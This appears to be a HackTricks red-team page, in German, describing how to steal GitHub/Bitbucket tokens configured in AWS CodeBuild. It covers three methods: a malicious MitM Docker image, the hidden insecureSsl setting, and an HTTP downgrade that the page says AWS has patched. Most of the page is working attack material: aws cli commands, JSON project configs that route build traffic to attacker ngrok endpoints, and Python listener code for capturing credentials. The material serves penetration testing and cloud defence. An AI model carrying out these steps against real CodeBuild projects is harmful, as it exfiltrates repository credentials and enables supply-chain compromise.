AWS Codebuild - Token Leakage

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Wiederherstellen konfigurierter Github/Bitbucket Tokens

Prüfe zuerst, ob source credentials konfiguriert sind, die du leaken könntest:

aws codebuild list-source-credentials

Über Docker-Image

Wenn Sie feststellen, dass beispielsweise eine Authentifizierung zu Github im Account eingerichtet ist, können Sie diesen exfiltrate access (GH token oder OAuth token) erlangen, indem Sie Codebuild dazu bringen, ein bestimmtes Docker-Image für den Build des Projekts zu verwenden.

Zu diesem Zweck können Sie ein neues Codebuild project erstellen oder die environment eines bestehenden ändern, um das Docker image festzulegen.

Das Docker-Image, das Sie verwenden können, ist https://github.com/carlospolop/docker-mitm. Dies ist ein sehr einfaches Docker-Image, das die env variables https_proxy, http_proxy und SSL_CERT_FILE setzt. Damit können Sie den Großteil des Verkehrs des Hosts, der in https_proxy und http_proxy angegeben ist, abfangen und dem in SSL_CERT_FILE angegebenen SSL-Zertifikat vertrauen.

  1. Erstellen & Hochladen Ihres eigenen Docker MitM-Images
  • Befolgen Sie die Anweisungen des Repos, um Ihre Proxy-IP-Adresse und Ihr SSL-Zertifikat zu konfigurieren und das Docker-Image zu bauen.
  • DO NOT SET http_proxy um Anfragen an den Metadata-Endpunkt nicht abzufangen.
  • Sie können ngrok verwenden, z.B. ngrok tcp 4444, um den Proxy auf Ihren Host zu setzen
  • Sobald Sie das Docker-Image gebaut haben, laden Sie es in ein öffentliches Repo hoch (Dockerhub, ECR…)
  1. Environment festlegen
  • Erstellen Sie ein neues Codebuild project oder ändern Sie die Environment eines bestehenden.
  • Konfigurieren Sie das Projekt so, dass es das zuvor erzeugte Docker-Image verwendet
  1. MitM-Proxy auf Ihrem Host einrichten
  • Wie im Github repo angegeben, können Sie so etwas verwenden wie:
mitmproxy --listen-port 4444  --allow-hosts "github.com"

Tip

Die mitmproxy-Version war 9.0.1, es wurde berichtet, dass es mit Version 10 möglicherweise nicht funktioniert.

  1. Build ausführen & Zugangsdaten erfassen
  • Sie können das Token im Authorization-Header sehen:

Das kann auch über die aws cli mit etwas wie dem folgenden Befehl gemacht werden:

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Über insecureSSL

Codebuild-Projekte haben eine Einstellung namens insecureSsl, die im Web verborgen ist; sie kann nur über die API geändert werden.
Wenn diese aktiviert ist, kann Codebuild eine Verbindung zum Repository herstellen, ohne das von der Plattform bereitgestellte Zertifikat zu prüfen.

  • Zuerst müssen Sie die aktuelle Konfiguration enumerate, z. B. mit:
aws codebuild batch-get-projects --name <proj-name>
  • Dann kannst du mit den gesammelten Informationen die Projekteinstellung insecureSsl auf True aktualisieren. Das folgende ist ein Beispiel, wie ich ein Projekt aktualisiere, beachte das insecureSsl=True am Ende (das ist das Einzige, das du an der gesammelten Konfiguration ändern musst).
  • Außerdem füge die Umgebungsvariablen http_proxy und https_proxy hinzu, die auf dein tcp ngrok zeigen, z. B.:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Schließlich klicke auf Build the project, die credentials werden im Klartext (base64) an den mitm-Port gesendet:

Über das HTTP-Protokoll

[!TIP] > Diese Schwachstelle wurde von AWS irgendwann in der Woche des 20. Feb of 2023 behoben (ich glaube am Freitag). Daher kann ein Angreifer sie nicht mehr ausnutzen :)

Ein Angreifer mit elevated permissions in einem CodeBuild könnte das konfigurierte Github/Bitbucket token leak oder, falls die Berechtigungen via OAuth konfiguriert wurden, das temporary OAuth token used to access the code.

  • Ein Angreifer könnte die Umgebungsvariablen http_proxy und https_proxy zum CodeBuild-Projekt hinzufügen, die auf seine Maschine zeigen (zum Beispiel http://5.tcp.eu.ngrok.io:14972).
  • Dann ändere die URL des github-Repo, um HTTP statt HTTPS zu verwenden, zum Beispiel: http://github.com/carlospolop-forks/TestActions
  • Dann führe das Basisbeispiel von https://github.com/synchronizing/mitm auf dem Port aus, auf den die Proxy-Variablen (http_proxy und https_proxy) zeigen
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Klicken Sie anschließend auf Build starten oder starten Sie den Build über die Befehlszeile:
aws codebuild start-build --project-name <proj-name>
  • Schließlich werden die credentials im Klartext (base64) an den mitm-Port gesendet:

Warning

Nun kann ein attacker das token von seiner Maschine verwenden, alle privileges auflisten und diese leichter (ab)use, als den CodeBuild-Service direkt zu nutzen.

Untrusted PR execution via webhook filter misconfiguration

Für die PR-triggered webhook bypass chain (ACTOR_ACCOUNT_ID regex + untrusted PR execution), siehe:

AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks